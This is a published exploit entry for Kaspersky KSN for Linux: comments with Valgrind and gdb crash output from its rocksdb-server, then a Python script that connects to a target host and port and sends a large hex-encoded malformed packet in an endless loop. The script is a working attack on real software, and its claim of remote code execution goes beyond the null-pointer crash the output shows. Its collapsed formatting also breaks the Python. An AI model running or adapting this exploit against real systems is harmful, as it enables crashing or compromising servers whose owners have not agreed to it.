# Exploit Author: Juan Sacco <jsacco@exploitpack.com> - http://exploitpack.com # Vulnerability found using Exploit Pack v10 # CVE: NotYet # # Exploit description: # Kaspersky KSN is prone to a remote memory corruption because it fails to properly filter the input on the remote subscribers, this leads to heap segments overwrite # and it leads to remote code execution. # # # Program description: # Kaspersky KSN for Linux enables cloud-assisted, multi-layered security for servers and workstations running the Linux operating system. It delivers reliable protection with minimal impact on # performance. # Product homepage: http://kaspersky.com # # Example usage: python kasperky.py 192.168.1.1 6349 # # Exploit history: # Discovered: Feb 2018 # Reported to Kaspersky: Feb 2018 # Fixed by Kaspersky: March 2018 # # [!] Valgrind output: # # =3314== Invalid write of size 4 # ==3314== at 0x24FA74: RespObject::SetSimpleString(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) (in /usr/local/ksn/bin/rocksdb-server) # ==3314== by 0x241814: RequestParser::Parse(unsigned char*, unsigned long, std::function<void (RespObject const&)>) (in /usr/local/ksn/bin/rocksdb-server) # ==3314== by 0x23B740: Session<boost::asio::basic_stream_socket<boost::asio::ip::tcp, boost::asio::stream_socket_service<boost::asio::ip::tcp> > >::HandleRead(boost::system::error_code const&, unsigned long) (in /usr/local/ksn/bin/rocksdb-server) # ==3314== by 0x22FF56: boost::asio::detail::reactive_socket_recv_op<boost::asio::mutable_buffers_1, boost::_bi::bind_t<void, boost::_mfi::mf2<void, Session<boost::asio::basic_stream_socket<boost::asio::ip::tcp, boost::asio::stream_socket_service<boost::asio::ip::tcp> > >, boost::system::error_code const&, unsigned long>, boost::_bi::list3<boost::_bi::value<Session<boost::asio::basic_stream_socket<boost::asio::ip::tcp, boost::asio::stream_socket_service<boost::asio::ip::tcp> > >*>, boost::arg<1> (*)(), boost::arg<2> (*)()> > >::do_complete(boost::asio::detail::task_io_service*, boost::asio::detail::task_io_service_operation*, boost::system::error_code const&, unsigned long) (in /usr/local/ksn/bin/rocksdb-server) # ==3314== by 0x23647C: boost::asio::detail::task_io_service::run(boost::system::error_code&) (in /usr/local/ksn/bin/rocksdb-server) # ==3314== by 0x1E978A: main (in /usr/local/ksn/bin/rocksdb-server) # ==3314== Address 0x0 is not stack'd, malloc'd or (recently) free'd # ==3314== # ==3314== # ==3314== Process terminating with default action of signal 11 (SIGSEGV): dumping core # ==3314== Access not within mapped region at address 0x0 # ==3314== at 0x24FA74: RespObject::SetSimpleString(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) (in /usr/local/ksn/bin/rocksdb-server) # ==3314== by 0x241814: RequestParser::Parse(unsigned char*, unsigned long, std::function<void (RespObject const&)>) (in /usr/local/ksn/bin/rocksdb-server) # ==3314== by 0x23B740: Session<boost::asio::basic_stream_socket<boost::asio::ip::tcp, boost::asio::stream_socket_service<boost::asio::ip::tcp> > >::HandleRead(boost::system::error_code const&, unsigned long) (in /usr/local/ksn/bin/rocksdb-server) # ==3314== by 0x22FF56: boost::asio::detail::reactive_socket_recv_op<boost::asio::mutable_buffers_1, boost::_bi::bind_t<void, boost::_mfi::mf2<void, Session<boost::asio::basic_stream_socket<boost::asio::ip::tcp, boost::asio::stream_socket_service<boost::asio::ip::tcp> > >, boost::system::error_code const&, unsigned long>, boost::_bi::list3<boost::_bi::value<Session<boost::asio::basic_stream_socket<boost::asio::ip::tcp, boost::asio::stream_socket_service<boost::asio::ip::tcp> > >*>, boost::arg<1> (*)(), boost::arg<2> (*)()> > >::do_complete(boost::asio::detail::task_io_service*, boost::asio::detail::task_io_service_operation*, boost::system::error_code const&, unsigned long) (in /usr/local/ksn/bin/rocksdb-server) # ==3314== by 0x23647C: boost::asio::detail::task_io_service::run(boost::system::error_code&) (in /usr/local/ksn/bin/rocksdb-server) # ==3314== by 0x1E978A: main (in /usr/local/ksn/bin/rocksdb-server) # ==3314== If you believe this happened as a result of a stack # ==3314== overflow in your program's main thread (unlikely but # ==3314== possible), you can try to increase the size of the # ==3314== main thread stack using the --main-stacksize= flag. # ==3314== The main thread stack size used in this run was 8388608. # ==3314== # ==3314== HEAP SUMMARY: # ==3314== in use at exit: 769,426 bytes in 7,522 blocks # ==3314== total heap usage: 15,342 allocs, 7,820 frees, 1,354,534 bytes allocated # ==3314== # ==3314== LEAK SUMMARY: # ==3314== definitely lost: 8 bytes in 1 blocks # ==3314== indirectly lost: 0 bytes in 0 blocks # ==3314== possibly lost: 5,328 bytes in 9 blocks # ==3314== still reachable: 764,090 bytes in 7,512 blocks # ==3314== of which reachable via heuristic: # ==3314== newarray : 8,264 bytes in 4 blocks # ==3314== suppressed: 0 bytes in 0 blocks # # [!] Debugger output: # # [----------------------------------registers-----------------------------------] # RAX: 0x7ffe127426f0 --> 0x7ffe12742800 --> 0x7f7ee28fb1c0 --> 0x7f7ee1d4f090 --> 0x7f7ee1894760 (<_ZN5boost4asio6detail15task_io_serviceD2Ev>: push r13) # RBX: 0x0 # RCX: 0x7f7ee2913000 --> 0x0 # RDX: 0xffffffffffdf6bf0 # RSI: 0x7ffe127426e0 --> 0x7ffe127426f0 --> 0x7ffe12742800 --> 0x7f7ee28fb1c0 --> 0x7f7ee1d4f090 --> 0x7f7ee1894760 (<_ZN5boost4asio6detail15task_io_serviceD2Ev>: push r13) # RDI: 0x0 # RBP: 0x7f7ee28f5338 --> 0x81 # RSP: 0x7ffe127425c0 --> 0x7f7ee2924198 --> 0x7f7ee28f5320 --> 0x5 # RIP: 0x7f7ee18b3a74 (<_ZN10RespObject15SetSimpleStringERKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEE+4>: mov DWORD PTR [rdi],0x1) # R8 : 0x0 # R9 : 0x7 # R10: 0x2 # R11: 0x7f7ee00276d0 --> 0xfffcdfc0fffcd800 # R12: 0x29b # R13: 0x0 # R14: 0x7ffe127426e0 --> 0x7ffe127426f0 --> 0x7ffe12742800 --> 0x7f7ee28fb1c0 --> 0x7f7ee1d4f090 --> 0x7f7ee1894760 (<_ZN5boost4asio6detail15task_io_serviceD2Ev>: push r13) # R15: 0x7f7ee2924562 --> 0x543ffb3c7ef1cd2b # EFLAGS: 0x10207 (CARRY PARITY adjust zero sign trap INTERRUPT direction overflow) # [-------------------------------------code-------------------------------------] # 0x7f7ee18b3a6e: xchg ax,ax # 0x7f7ee18b3a70 <_ZN10RespObject15SetSimpleStringERKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEE>: push rbx # 0x7f7ee18b3a71 <_ZN10RespObject15SetSimpleStringERKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEE+1>: mov rbx,rdi # => 0x7f7ee18b3a74 <_ZN10RespObject15SetSimpleStringERKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEE+4>: mov DWORD PTR [rdi],0x1 # 0x7f7ee18b3a7a <_ZN10RespObject15SetSimpleStringERKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEE+10>: lea rdi,[rdi+0x10] # 0x7f7ee18b3a7e <_ZN10RespObject15SetSimpleStringERKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEE+14>: call 0x7f7ee184a8a0 <_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE9_M_assignERKS4_@plt> # 0x7f7ee18b3a83 <_ZN10RespObject15SetSimpleStringERKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEE+19>: mov BYTE PTR [rbx+0x4],0x0 # 0x7f7ee18b3a87 <_ZN10RespObject15SetSimpleStringERKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEE+23>: pop rbx # [------------------------------------stack-------------------------------------] # 0000| 0x7ffe127425c0 --> 0x7f7ee2924198 --> 0x7f7ee28f5320 --> 0x5 # 0008| 0x7ffe127425c8 --> 0x7f7ee18a5815 (<_ZN13RequestParser5ParseEPhmSt8functionIFvRK10RespObjectEE+3317>: mov rdi,QWORD PTR [rsp+0x110]) # 0016| 0x7ffe127425d0 --> 0x7f7ee2901c08 --> 0x5a849d1562a512bd # 0024| 0x7ffe127425d8 --> 0x7f7ee29242c8 --> 0x10061030045 # 0032| 0x7ffe127425e0 --> 0x361 # 0040| 0x7ffe127425e8 --> 0x0 # 0048| 0x7ffe127425f0 --> 0x7ffe127426e0 --> 0x7ffe127426f0 --> 0x7ffe12742800 --> 0x7f7ee28fb1c0 --> 0x7f7ee1d4f090 (--> ...) # 0056| 0x7ffe127425f8 --> 0x7ffe127426a0 --> 0x0 # [------------------------------------------------------------------------------] # Legend: code, data, rodata, value # Stopped reason: SIGSEGV # 0x00007f7ee18b3a74 in RespObject::SetSimpleString(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) () # gdb-peda$ where # #0 0x00007f7ee18b3a74 in RespObject::SetSimpleString(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) () # #1 0x00007f7ee18a5815 in RequestParser::Parse(unsigned char*, unsigned long, std::function<void (RespObject const&)>) () # #2 0x00007f7ee189f741 in Session<boost::asio::basic_stream_socket<boost::asio::ip::tcp, boost::asio::stream_socket_service<boost::asio::ip::tcp> > >::HandleRead(boost::system::error_code const&, unsigned long import binascii import sys import socket import time def rocksDB(target,port): try: while 1: # Open socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Set reuse ON s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # Bind port s.connect((target, port)) print("[" + time.strftime('%a %H:%M:%S') + "]" + " - " + "Connected to:"), target, port print("[" + time.strftime('%a %H:%M:%S') + "]" + " - " + "Establishing connection.. ") packet = binascii.unhexlify(b'4500036100010000400679947f0000017f000001001419100000000000000000500220009e1700005ce528736b32895950f96218411ca66c9b0842c995eacbfc3eacd8187d3aa8488e1cf1f18491606b9c400c42ec88e7399baa7c3b0bca43de853c74d2fbb2c08c9868ad9688b815d6e5a913937ff05217e18ff28d379fa6985204f7f529990a675d2fc70e1a7dbca8334e4faf30ea31cb33f0c1fabbfc92fbaf20d7e63cfe65ee95711a80a406c26b6e60335d74a02b42a454bc6bbcf5153cb20b77c9686b2fff994b224a3dc5fcbd12a562159d845a8b039abf971bb7c79fe74ca7055560c9c513377881b7a033eb797738fc119758f4c6ea1a960cab1299f5b1a6e99e0be889d8bdf05edc7ca6f14a48d35a5f747887e2330a5cc8b722257ecf32987ad1e24aa56c4685fdae028ca7689bdb66b3d951b8021a34a04114f4208c3f9a6d66bcb7cbeec80a716d69375a88202f3cac2562c9595095c61e693080edd5a3318084d974a2130d5cfe439903d6d5b9b3b553143831c6e01f286da4a2339c91cfce00fe17d7584153ab93e723ce2e859d7aaa9f9574af2dbb4ca4d9f8c8f39f4e89a790e5e4e74bbfd44a721594362f1c71cc48721014f451b837aff64624ea8fbc767c50ada655f23c87195b49b854c3e0d69f1585b663a02ad33cfdfd78c43e3531d6802b7271b7518ded3d93338084ca0e7982dc7c76d82c1b0fed91e5dc567262f46e3bd71b66f9d8283784d666a2be99e397a4abe9495168c880d7f371b87f44b38e61d836ccad8afc8c99518fa1240ab5a2a0685a9d450f4b44fefcc6b64ce8f6ec836922670b31ebf62ea5933e272a62ac8ff2c79d8f15a1220a37e5535ec0998aaf8af2f9d0a0f75e96fad8e8b1ae0e2fff70d831c501048644f700527d61d1f6cb177948e0ebea8d4a01fa9c7ca2c4b3472bcdf17e3cfb3f54fb791a43f114514b6821390d2c16e23ff9ffb0b0caa508b2952b0a497a24ce0d8ad05734111034a71d57a624855b95594b7f158903f03c02213c8de27644a2026de0c7477f1550f9f39450718ddf185eb9c5f9fc7b545c838970c4f7e87b69c570a873d8f64fe08ed23c7b8275f8bf54f080508bb244fbf3dc852968bd8a63a8787c8e496508c597ae9f617bfb096bebf94cbb736a6438163f61479816da9d88e2a3ea6b50a828d9c2c6f51f34e29f4fe588a41e5e3a53515d474a5a52b357') # Log the packet in hexa and timestamp fileLog = target + ".log" logPacket = open("exploit.log", "w+") logPacket.write("["+time.strftime('%a %H:%M:%S')+"]"+ " - Writing to socket: " + binascii.hexlify(bytes(packet))+"\n") logPacket.close() # Write bytecodes to socket print("["+time.strftime('%a %H:%M:%S')+"]"+" - "+"Writing to socket: ") s.send(bytes(packet)) # Packet sent: print(bytes(packet)) try: data = s.recv(4096) print("[" + time.strftime('%a %H:%M:%S') + "]" + " - "+ "Data received: '{msg}'".format(msg=data)) except socket.error, e: print '[!] Sorry, No data available' continue s.close() except socket.error as error: print error print "Sorry, something went wrong!" def howtouse(): print "Usage: kaspersky.py hostname port" print "[*] Mandatory arguments:" print "[-] Specify a hostname / port" sys.exit(-1) if __name__ == "__main__": try: # Set target target = sys.argv[1] port = int(sys.argv[2]) print "[*] Kaspersky KSN RCE Exploit by Juan Sacco <jsacco@exploitpack.com " rocksDB(target, port) except IndexError: howtouse()